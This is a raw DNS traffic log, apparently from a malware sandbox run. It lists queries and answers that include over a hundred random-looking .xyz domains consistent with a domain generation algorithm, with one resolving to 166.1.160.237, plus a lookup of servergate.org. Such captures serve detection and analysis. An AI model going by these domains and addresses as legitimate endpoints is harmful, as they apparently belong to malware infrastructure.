Dec 12, 2024 12:11:03.959626913 CET	192.168.2.5	1.1.1.1	0x8a23	Standard query (0)	eigywisgeoiskekg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.180480003 CET	192.168.2.5	1.1.1.1	0xf0c	Standard query (0)	msqsoggkkoiokugk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.398801088 CET	192.168.2.5	1.1.1.1	0xce91	Standard query (0)	cmaaciimeememwao.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.620906115 CET	192.168.2.5	1.1.1.1	0xcab3	Standard query (0)	uigkauqkumywguig.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:04.852627039 CET	192.168.2.5	1.1.1.1	0xbc27	Standard query (0)	wggygeoisauouuoc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.081482887 CET	192.168.2.5	1.1.1.1	0xb96	Standard query (0)	okoykokgycygucya.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.301704884 CET	192.168.2.5	1.1.1.1	0x6788	Standard query (0)	ewaoowewmsomgaiw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.612864971 CET	192.168.2.5	1.1.1.1	0x3ee6	Standard query (0)	ieiegkokewkqmkwe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:05.927020073 CET	192.168.2.5	1.1.1.1	0xf5cc	Standard query (0)	gakesieaaickekuo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.153970003 CET	192.168.2.5	1.1.1.1	0x5e47	Standard query (0)	ecasigiwguqgguyw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.376903057 CET	192.168.2.5	1.1.1.1	0xfc9	Standard query (0)	okwswuciummewsui.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.600239992 CET	192.168.2.5	1.1.1.1	0xe597	Standard query (0)	ggaqiymaekkywusy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:06.913522005 CET	192.168.2.5	1.1.1.1	0xa12d	Standard query (0)	ocicimqkgucacyim.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:07.137989998 CET	192.168.2.5	1.1.1.1	0x79be	Standard query (0)	qoyisgoayskswigs.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:07.360570908 CET	192.168.2.5	1.1.1.1	0xd55d	Standard query (0)	wsywmuwgsogemomw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:07.592600107 CET	192.168.2.5	1.1.1.1	0x8fbb	Standard query (0)	skaeggkkcmoqoywy.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 12:08:59.381490946 CET	1.1.1.1	192.168.2.5	0xeab7	No error (0)	servergate.org		166.1.160.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:27.591403008 CET	1.1.1.1	192.168.2.5	0x898f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:27.591691017 CET	1.1.1.1	192.168.2.5	0x56de	No error (0)	www.docusign.com	ds-www.docusign.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:27.591691017 CET	1.1.1.1	192.168.2.5	0x56de	No error (0)	docusign-dxe.netlifyglobalcdn.com		3.33.186.135	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:27.591691017 CET	1.1.1.1	192.168.2.5	0x56de	No error (0)	docusign-dxe.netlifyglobalcdn.com		15.197.167.90	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:27.592364073 CET	1.1.1.1	192.168.2.5	0x2133	No error (0)	www.docusign.com	ds-www.docusign.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:27.605743885 CET	1.1.1.1	192.168.2.5	0x3b0a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:27.605743885 CET	1.1.1.1	192.168.2.5	0x3b0a	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:29.698914051 CET	1.1.1.1	192.168.2.5	0x723f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:29.798007965 CET	1.1.1.1	192.168.2.5	0x631e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:32.102458000 CET	1.1.1.1	192.168.2.5	0xd9b9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:32.102458000 CET	1.1.1.1	192.168.2.5	0xd9b9	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.193	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.120712996 CET	1.1.1.1	192.168.2.5	0x88c9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 12:09:32.121557951 CET	1.1.1.1	192.168.2.5	0xfcf1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.121557951 CET	1.1.1.1	192.168.2.5	0xfcf1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.122528076 CET	1.1.1.1	192.168.2.5	0x2cb3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.122528076 CET	1.1.1.1	192.168.2.5	0x2cb3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.123425007 CET	1.1.1.1	192.168.2.5	0x9056	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 12:09:32.126394033 CET	1.1.1.1	192.168.2.5	0xd798	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:32.184678078 CET	1.1.1.1	192.168.2.5	0xd553	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.184678078 CET	1.1.1.1	192.168.2.5	0xd553	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.184838057 CET	1.1.1.1	192.168.2.5	0xfd43	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 12:09:38.488048077 CET	1.1.1.1	192.168.2.5	0xeedd	No error (0)	aikmouciiqgecoqi.xyz		166.1.160.237	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:38.812249899 CET	1.1.1.1	192.168.2.5	0xa9f7	Name error (3)	koecgqggegimaeya.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.032062054 CET	1.1.1.1	192.168.2.5	0x16df	Name error (3)	aawqwccomcemcysm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.258019924 CET	1.1.1.1	192.168.2.5	0x7b53	Name error (3)	kcyakwisycecaqgw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.488344908 CET	1.1.1.1	192.168.2.5	0x6f3c	Name error (3)	uogksceymossmmqc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.711071014 CET	1.1.1.1	192.168.2.5	0x339d	Name error (3)	qgmyeeguweaukuke.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:39.936037064 CET	1.1.1.1	192.168.2.5	0x938a	Name error (3)	mywaqkeaawisisky.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.156529903 CET	1.1.1.1	192.168.2.5	0xeddf	Name error (3)	yqqsggacauiiugka.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.454823971 CET	1.1.1.1	192.168.2.5	0xeef5	Name error (3)	equmqmqwuuuioawa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.689927101 CET	1.1.1.1	192.168.2.5	0xffbd	Name error (3)	wmoamsauiwauoosg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:40.914684057 CET	1.1.1.1	192.168.2.5	0xf33f	Name error (3)	oqsakkimkesccikc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.143484116 CET	1.1.1.1	192.168.2.5	0xf1cd	Name error (3)	mgiwaegaqyyaakwy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.369062901 CET	1.1.1.1	192.168.2.5	0x71df	Name error (3)	ucmioacycscyeouk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.680969954 CET	1.1.1.1	192.168.2.5	0x240b	Name error (3)	qumaseqmggyaiauq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:41.993467093 CET	1.1.1.1	192.168.2.5	0x22c2	Name error (3)	uccyyemqaiiksuwm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:42.394088984 CET	1.1.1.1	192.168.2.5	0x136	Name error (3)	sesyieaiesegeaow.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:42.811588049 CET	1.1.1.1	192.168.2.5	0x2960	Name error (3)	kccmicaswqmswwak.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.031073093 CET	1.1.1.1	192.168.2.5	0x243d	Name error (3)	mssaogwocegysoow.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.252213955 CET	1.1.1.1	192.168.2.5	0xca40	Name error (3)	wssaqmakumewmaes.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.471257925 CET	1.1.1.1	192.168.2.5	0x8069	Name error (3)	cmukociggiqcouio.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.692468882 CET	1.1.1.1	192.168.2.5	0x8999	Name error (3)	skyqsyyymyacyayc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:43.918387890 CET	1.1.1.1	192.168.2.5	0x8fe0	Name error (3)	uoigsiqmemcscosu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:44.144046068 CET	1.1.1.1	192.168.2.5	0x7ada	Name error (3)	kuywuskkgqsigqqs.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:44.371367931 CET	1.1.1.1	192.168.2.5	0x8d57	Name error (3)	auayomwkewcomwas.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:44.689394951 CET	1.1.1.1	192.168.2.5	0x5e39	Name error (3)	iyaikmkkowcqemsi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.000148058 CET	1.1.1.1	192.168.2.5	0x8e14	Name error (3)	ggicikyqcaiyguee.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.222826958 CET	1.1.1.1	192.168.2.5	0x839a	Name error (3)	oqyaoykomyoygics.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.448538065 CET	1.1.1.1	192.168.2.5	0x4d79	Name error (3)	eqakguiwiqacqiwg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.763423920 CET	1.1.1.1	192.168.2.5	0xff8b	Name error (3)	wgcaouuqqqwucogy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:45.981761932 CET	1.1.1.1	192.168.2.5	0x5627	Name error (3)	ewacuagosgqmuocm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:46.213777065 CET	1.1.1.1	192.168.2.5	0xaf66	Name error (3)	wgqyouayikuyuqmk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:46.527209997 CET	1.1.1.1	192.168.2.5	0xe8bb	Name error (3)	owaaygsacguucaye.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:46.748287916 CET	1.1.1.1	192.168.2.5	0xcf60	Name error (3)	uwgicagyykoommga.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.060607910 CET	1.1.1.1	192.168.2.5	0xd4ef	Name error (3)	uiggameqqycugsqw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.282371998 CET	1.1.1.1	192.168.2.5	0x7503	Name error (3)	goguooqkgysueime.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.603425980 CET	1.1.1.1	192.168.2.5	0x592d	Name error (3)	keosqeosukqcooco.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:47.824956894 CET	1.1.1.1	192.168.2.5	0x920a	Name error (3)	maoeeogmuauywsyu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.045584917 CET	1.1.1.1	192.168.2.5	0x49af	Name error (3)	ismqaewykmoiguki.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.265228987 CET	1.1.1.1	192.168.2.5	0x1b99	Name error (3)	wucwykasawokemaw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.487917900 CET	1.1.1.1	192.168.2.5	0x8a7e	Name error (3)	ukmcqucewskcqygg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.706463099 CET	1.1.1.1	192.168.2.5	0xf8f4	Name error (3)	qqqmeagkkosgcayo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:48.926079988 CET	1.1.1.1	192.168.2.5	0x9b86	Name error (3)	ysawassgkwqygmmq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.151695967 CET	1.1.1.1	192.168.2.5	0x52ea	Name error (3)	osaeyoiqoqawauga.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.379734993 CET	1.1.1.1	192.168.2.5	0x7833	Name error (3)	iagisciiyoemgwaa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.604016066 CET	1.1.1.1	192.168.2.5	0x76db	Name error (3)	ymysimqoykwqeqiq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:49.916054010 CET	1.1.1.1	192.168.2.5	0xf284	Name error (3)	ymmcwogyimsuqmcc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.135396957 CET	1.1.1.1	192.168.2.5	0xcd31	Name error (3)	osmoygyawqmmimkq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.361280918 CET	1.1.1.1	192.168.2.5	0x8d8	Name error (3)	immyecuqwkiyscys.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.589826107 CET	1.1.1.1	192.168.2.5	0x6958	Name error (3)	omsqkuiwcwoegooq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:50.817964077 CET	1.1.1.1	192.168.2.5	0x75a6	Name error (3)	ukaiiiyqoooycyqm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.039033890 CET	1.1.1.1	192.168.2.5	0x70f7	Name error (3)	isemauqkwwiumyky.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.352673054 CET	1.1.1.1	192.168.2.5	0x7a45	Name error (3)	keguuyioweymiaws.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.574141979 CET	1.1.1.1	192.168.2.5	0x7c78	Name error (3)	kwaywmaequkqccai.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:51.799782991 CET	1.1.1.1	192.168.2.5	0xced8	Name error (3)	yyimcoiwgckeakcm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.018944025 CET	1.1.1.1	192.168.2.5	0x8488	Name error (3)	ekcwemuekgqsimae.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.243571043 CET	1.1.1.1	192.168.2.5	0x8a04	Name error (3)	imigkomgmqgmakqk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.469808102 CET	1.1.1.1	192.168.2.5	0xbe38	Name error (3)	omasqkwqyskcagwi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:52.782944918 CET	1.1.1.1	192.168.2.5	0x7af5	Name error (3)	awyomscgweuqmgaw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.002341032 CET	1.1.1.1	192.168.2.5	0x77dd	Name error (3)	eyoyssauceguqwmk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.223556042 CET	1.1.1.1	192.168.2.5	0x8f41	Name error (3)	gwwcqeykmseicgaw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.447207928 CET	1.1.1.1	192.168.2.5	0x9996	Name error (3)	qwywqgsmgaoiwsga.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.674725056 CET	1.1.1.1	192.168.2.5	0x786d	Name error (3)	ososwckwcqmmwqcy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:53.989839077 CET	1.1.1.1	192.168.2.5	0x4dba	Name error (3)	osaymwoggqqycmse.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.213345051 CET	1.1.1.1	192.168.2.5	0x70a9	Name error (3)	oyewqwkusieeoqey.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.439384937 CET	1.1.1.1	192.168.2.5	0x5f7f	Name error (3)	ommwaqgaemsmcqwc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.660660028 CET	1.1.1.1	192.168.2.5	0xb187	Name error (3)	cauewwukyywyqiei.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:54.974628925 CET	1.1.1.1	192.168.2.5	0xfd1a	Name error (3)	goeykqccmemkswom.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.192847013 CET	1.1.1.1	192.168.2.5	0xbfb8	Name error (3)	aksuakswwkiimamq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.417021036 CET	1.1.1.1	192.168.2.5	0xb1c8	Name error (3)	isaeicumkcuwqmqq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.645426035 CET	1.1.1.1	192.168.2.5	0xe942	Name error (3)	qiswokuokugiooky.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:55.957027912 CET	1.1.1.1	192.168.2.5	0x7acb	Name error (3)	qiswcssocuqsaqkq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.178356886 CET	1.1.1.1	192.168.2.5	0xa5ce	Name error (3)	qcyksokwumicscaa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.493999958 CET	1.1.1.1	192.168.2.5	0x9c12	Name error (3)	esiaisyasoaoqwki.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.714505911 CET	1.1.1.1	192.168.2.5	0x731	Name error (3)	giqukkwwcwgqcisg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:56.939399004 CET	1.1.1.1	192.168.2.5	0x7b29	Name error (3)	ymqaaskiwomkucuy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.165421009 CET	1.1.1.1	192.168.2.5	0xfa0a	Name error (3)	akueuaicusaoieiy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.388951063 CET	1.1.1.1	192.168.2.5	0x5de1	Name error (3)	sauygqecsusickcu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.615446091 CET	1.1.1.1	192.168.2.5	0xd5d6	Name error (3)	kkwkgmcoawgaoiwg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:57.847404957 CET	1.1.1.1	192.168.2.5	0xbf9c	Name error (3)	saumycuogqsqykes.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.162828922 CET	1.1.1.1	192.168.2.5	0xeb90	Name error (3)	ukyokaigmmkumgoa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.388266087 CET	1.1.1.1	192.168.2.5	0xeda3	Name error (3)	eswweuycwwiiykwo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.614208937 CET	1.1.1.1	192.168.2.5	0x5d42	Name error (3)	uksgyqiqaaiaiesi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:58.925947905 CET	1.1.1.1	192.168.2.5	0x8c41	Name error (3)	smckcsaioceiyasu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:59.246886015 CET	1.1.1.1	192.168.2.5	0x2614	Name error (3)	esimsqgcwwwmyoqc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:59.556833982 CET	1.1.1.1	192.168.2.5	0x886c	Name error (3)	maiyuocqqiqiiskw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:59.777645111 CET	1.1.1.1	192.168.2.5	0x7920	Name error (3)	smaaowemwiwggocu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.206675053 CET	1.1.1.1	192.168.2.5	0x9282	Name error (3)	kwuuwgemogmuomwq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.432683945 CET	1.1.1.1	192.168.2.5	0xc1fa	Name error (3)	ukicsmiwggcwksam.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.658679008 CET	1.1.1.1	192.168.2.5	0xb684	Name error (3)	gwamoggwyegsseao.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:00.887458086 CET	1.1.1.1	192.168.2.5	0x3e32	Name error (3)	immcqsiceooqyaay.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.109232903 CET	1.1.1.1	192.168.2.5	0xeddf	Name error (3)	kkcqgowgkcoyokcu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.341165066 CET	1.1.1.1	192.168.2.5	0xada6	Name error (3)	kecgikusmakuksma.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.568389893 CET	1.1.1.1	192.168.2.5	0xe392	Name error (3)	ymuiggyusggsymoi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:01.799778938 CET	1.1.1.1	192.168.2.5	0x833d	Name error (3)	uecouukwkuceyuwg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.121138096 CET	1.1.1.1	192.168.2.5	0x1eae	Name error (3)	eyoaceoookqskqmy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.347026110 CET	1.1.1.1	192.168.2.5	0x7ab	Name error (3)	awwomgcseeqwkkom.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.573895931 CET	1.1.1.1	192.168.2.5	0x706a	Name error (3)	keykoekseemyiewq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:02.889916897 CET	1.1.1.1	192.168.2.5	0xf071	Name error (3)	ysiwwoeeaaskykaw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:03.201245070 CET	1.1.1.1	192.168.2.5	0x15f9	Name error (3)	kwmcuwccqmuecgea.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:03.519243956 CET	1.1.1.1	192.168.2.5	0x4c00	Name error (3)	gwyooeiscmwguqms.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:03.746479988 CET	1.1.1.1	192.168.2.5	0xeb41	Name error (3)	wuokiysmiucoucak.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.062796116 CET	1.1.1.1	192.168.2.5	0xca31	Name error (3)	wuuiumemmigyyauq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.289557934 CET	1.1.1.1	192.168.2.5	0x873e	Name error (3)	acwomuuukiomgqkm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.603418112 CET	1.1.1.1	192.168.2.5	0x8c5b	Name error (3)	muwqwgaaymomgwmi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:04.917782068 CET	1.1.1.1	192.168.2.5	0x436e	Name error (3)	omgcoecwsqiuqyug.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.143326044 CET	1.1.1.1	192.168.2.5	0xcbad	Name error (3)	kqmsgskwgemyueya.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.455452919 CET	1.1.1.1	192.168.2.5	0x83f0	Name error (3)	eyiyueewuaqmmwcm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.680944920 CET	1.1.1.1	192.168.2.5	0x5832	Name error (3)	gwoyamckoqoaauoq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:05.904699087 CET	1.1.1.1	192.168.2.5	0x3818	Name error (3)	qwqsoyoqkymakowm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:06.127897024 CET	1.1.1.1	192.168.2.5	0x7643	Name error (3)	gcmiymmqgwuquokm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:06.438993931 CET	1.1.1.1	192.168.2.5	0xc07	Name error (3)	ymseciekayuweoww.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:06.757174015 CET	1.1.1.1	192.168.2.5	0x4f5f	Name error (3)	oyocwswugeiqqyoo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.075748920 CET	1.1.1.1	192.168.2.5	0x1410	Name error (3)	omgooecquoweeomo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.299551964 CET	1.1.1.1	192.168.2.5	0x18f6	Name error (3)	imgeoyougkmmeuec.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.539895058 CET	1.1.1.1	192.168.2.5	0x74d9	Name error (3)	smoswyoekkccyuga.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.759042978 CET	1.1.1.1	192.168.2.5	0xcf15	Name error (3)	suwkomiqcykeyako.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:07.982774019 CET	1.1.1.1	192.168.2.5	0x131b	Name error (3)	smwsugycuuckemue.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.207380056 CET	1.1.1.1	192.168.2.5	0xf52a	Name error (3)	qigcqiaomwieqwka.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.439371109 CET	1.1.1.1	192.168.2.5	0xee46	Name error (3)	oekcyqqggaegsesm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.666074038 CET	1.1.1.1	192.168.2.5	0xd316	Name error (3)	qcoysaaooaiccqyu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:08.891309023 CET	1.1.1.1	192.168.2.5	0xf51b	Name error (3)	mismuqiygyeysaoo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.203883886 CET	1.1.1.1	192.168.2.5	0xb418	Name error (3)	wockoyekyageakcg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.431488037 CET	1.1.1.1	192.168.2.5	0x34ce	Name error (3)	ososokqeakgguwsq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.745629072 CET	1.1.1.1	192.168.2.5	0x8c94	Name error (3)	wcgqccqcugomywua.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:09.970685005 CET	1.1.1.1	192.168.2.5	0x3caa	Name error (3)	aqaqgemescmwsqks.xyz	none	none	A (IP address)	IN (0x0001)	false
